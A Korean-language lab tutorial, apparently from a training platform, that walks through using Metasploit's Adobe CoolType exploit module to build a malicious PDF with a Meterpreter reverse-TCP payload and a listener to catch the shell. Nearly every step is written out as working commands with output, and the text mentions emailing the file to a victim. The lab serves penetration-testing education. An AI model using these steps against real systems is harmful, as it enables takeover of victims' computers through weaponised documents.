소개
이 실습에서는 Metasploit Framework 를 사용하여 악성 PDF 파일을 생성함으로써 클라이언트 측 공격의 세계를 탐구합니다. 클라이언트 측 공격은 웹 브라우저, 미디어 플레이어 또는 문서 뷰어와 같이 사용자 컴퓨터의 애플리케이션에 있는 취약점을 대상으로 합니다.
PDF 파일은 널리 사용되고 사용자들이 종종 신뢰하기 때문에 이러한 공격의 일반적인 벡터입니다. 겉보기에는 무해한 PDF 에 악성 코드 (페이로드) 를 삽입함으로써 공격자는 취약한 PDF 리더로 파일을 열 때 피해자의 시스템을 제어할 수 있습니다.
특정 익스플로잇 (exploit) 을 선택하고, 페이로드 (payload) 로 구성하고, 악성 파일을 생성하고, 손상된 시스템으로부터의 연결을 처리할 리스너 (listener) 를 설정하는 방법을 배우게 됩니다. 이 실습은 이러한 공격이 어떻게 구성되는지에 대한 기초적인 이해를 제공합니다.
exploit/windows/fileformat/adobe_cooltype_sing 모듈 선택
이 단계에서는 Metasploit Framework 콘솔을 시작하고 악성 PDF 를 생성하는 데 적합한 익스플로잇 모듈을 선택합니다. Metasploit Framework 는 침투 테스트를 위한 강력한 도구이며, 콘솔인 msfconsole은 이를 상호 작용하는 주요 인터페이스입니다.
먼저 터미널을 열고 Metasploit 콘솔을 실행합니다. 초기화에 시간이 다소 걸릴 수 있습니다.
msfconsole -q
-q 플래그는 배너를 억제하여 더 빠르게 시작합니다. 로드되면 msf6 > 프롬프트가 표시됩니다.
Adobe Reader 의 알려진 취약점을 대상으로 하는 익스플로잇을 사용할 것입니다. 모듈 이름은 exploit/windows/fileformat/adobe_cooltype_sing입니다. use 명령을 사용하여 이 모듈을 로드합니다.
use exploit/windows/fileformat/adobe_cooltype_sing
명령을 실행한 후 현재 로드된 모듈을 반영하도록 명령 프롬프트가 변경된 것을 확인할 수 있습니다.
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >
이는 모듈이 이제 활성화되었으며 구성을 위해 준비되었음을 확인합니다.
출력 PDF 의 FILENAME 옵션 설정
이 단계에서는 선택한 익스플로잇 모듈의 옵션을 구성합니다. 각 모듈에는 사용자 지정할 수 있는 옵션 세트가 있습니다. 현재 모듈의 사용 가능한 옵션을 보려면 show options 명령을 사용합니다.
show options
이 명령은 출력 파일 이름 및 페이로드 설정과 같이 설정할 수 있는 매개변수 테이블을 표시합니다.
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
...
Payload options (generic/shell_reverse_tcp):
...
악성 PDF 파일의 이름을 지정하기 위해 FILENAME 옵션을 설정해야 합니다. 파일 이름을 malicious.pdf로 지정하겠습니다. set 명령을 사용하여 이 값을 할당합니다.
set FILENAME malicious.pdf
show options를 다시 실행하여 FILENAME이 성공적으로 업데이트되었는지 확인할 수 있습니다.
FILENAME malicious.pdf yes The file name.
LHOST 및 LPORT 를 사용한 reverse_tcp 페이로드 구성
이 단계에서는 페이로드를 구성합니다. 페이로드는 익스플로잇이 성공한 후 대상 시스템에서 실행될 코드입니다. 우리는 피해자의 머신이 우리 머신으로 다시 연결하도록 강제하는 reverse_tcp 페이로드를 사용할 것입니다.
먼저 페이로드를 windows/meterpreter/reverse_tcp로 설정합니다. Meterpreter 는 표준 쉘보다 더 많은 기능을 제공하는 고급의 동적으로 확장 가능한 페이로드입니다.
set payload windows/meterpreter/reverse_tcp
다음으로 페이로드의 옵션인 LHOST와 LPORT를 구성해야 합니다.
LHOST: "Listening Host"로, 귀하의 머신 IP 주소입니다. 피해자의 머신이 이 IP 로 다시 연결됩니다.LPORT: "Listening Port"로, 귀하의 머신에서 연결을 수신 대기할 포트입니다.
귀하의 머신 IP 주소를 찾으려면 새 터미널 탭을 열고 ip a 명령을 실행할 수 있습니다. eth0 인터페이스와 관련된 IP 주소를 찾으십시오.
ip a
이제 LHOST를 귀하의 IP 주소로 설정하고 (실제 IP 로 YOUR_IP_ADDRESS를 바꾸십시오) LPORT를 4444와 같은 일반적인 포트로 설정합니다.
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
모든 설정이 올바른지 확인하기 위해 show options를 다시 한 번 실행합니다. 구성된 FILENAME, PAYLOAD, LHOST, LPORT가 표시되어야 합니다.
악성 PDF 파일 생성
이 단계에서는 모든 옵션이 구성되었으므로 악성 PDF 파일을 생성할 준비가 되었습니다. exploit 명령 (또는 별칭 run) 은 익스플로잇과 페이로드를 최종 파일로 조립합니다.
msfconsole 창에서 exploit 명령을 실행합니다.
exploit
이제 Metasploit 이 PDF 파일을 생성합니다. 출력에는 프로세스와 가장 중요하게는 파일이 저장된 위치가 표시됩니다.
[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf
파일이 이제 생성되었습니다. 실제 시나리오에서는 공격자가 이 파일을 대상에게 전달할 것입니다. 예를 들어 이메일 첨부 파일로 전달할 수 있습니다. 새 터미널에서 ls 명령을 사용하여 파일의 존재 여부를 확인할 수 있습니다.
ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf
msfconsole 에서 쉘을 수신하기 위한 핸들러 설정
이 단계에서는 악성 PDF 가 열릴 때 피해자 머신으로부터 들어오는 연결을 "수신"하기 위한 리스너 (핸들러라고도 함) 를 설정합니다. 핸들러 없이는 페이로드가 연결할 곳이 없습니다.
일반 리스너인 exploit/multi/handler 모듈을 사용할 것입니다.
use exploit/multi/handler
이제 PDF 파일에 포함시킨 페이로드 및 옵션 (LHOST 및 LPORT) 과 정확히 동일하게 이 핸들러를 구성해야 합니다. 이는 연결 성공에 매우 중요합니다.
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
YOUR_IP_ADDRESS를 귀하의 머신 IP 주소로 다시 바꾸는 것을 잊지 마십시오.
핸들러가 구성되었으면 exploit -j 명령을 사용하여 실행합니다. -j 플래그는 핸들러를 백그라운드 작업으로 실행하여 리스너가 활성 상태인 동안 다른 명령을 위해 msfconsole 프롬프트를 자유롭게 유지합니다.
exploit -j
핸들러가 시작되었다는 확인 메시지가 표시됩니다.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444
이제 핸들러가 연결을 수신 대기하고 있습니다. 이 실험실에서는 피해자가 파일을 여는 것을 시뮬레이션하지 않겠지만, 설정은 완료되었습니다. 악성 파일을 성공적으로 생성했으며 리버스 쉘을 처리할 리스너를 준비했습니다.
요약
이 실험실에서는 Metasploit Framework 를 사용하여 클라이언트 측 공격을 위한 악성 PDF 를 생성하는 기본적인 단계를 성공적으로 완료했습니다.
다음과 같은 내용을 배웠습니다.
- Metasploit 콘솔을 시작하고 적절한 익스플로잇 모듈을 선택하는 방법.
- 출력 파일 이름과 같은 익스플로잇 옵션을 구성하는 방법.
- 필요한
LHOST및LPORT매개변수로 페이로드 (windows/meterpreter/reverse_tcp) 를 선택하고 구성하는 방법. - 최종 악성 PDF 파일을 생성하는 방법.
- 취약 시스템으로부터 들어오는 연결을 수신 대기하고 잡기 위한 핸들러 (
exploit/multi/handler) 를 설정하고 실행하는 방법.
이 연습은 일반적인 공격 벡터 뒤에 있는 메커니즘에 대한 실질적인 이해를 제공하며, 이러한 취약점으로부터 보호하기 위해 소프트웨어, 특히 문서 리더를 최신 상태로 유지하는 것의 중요성을 강조합니다.


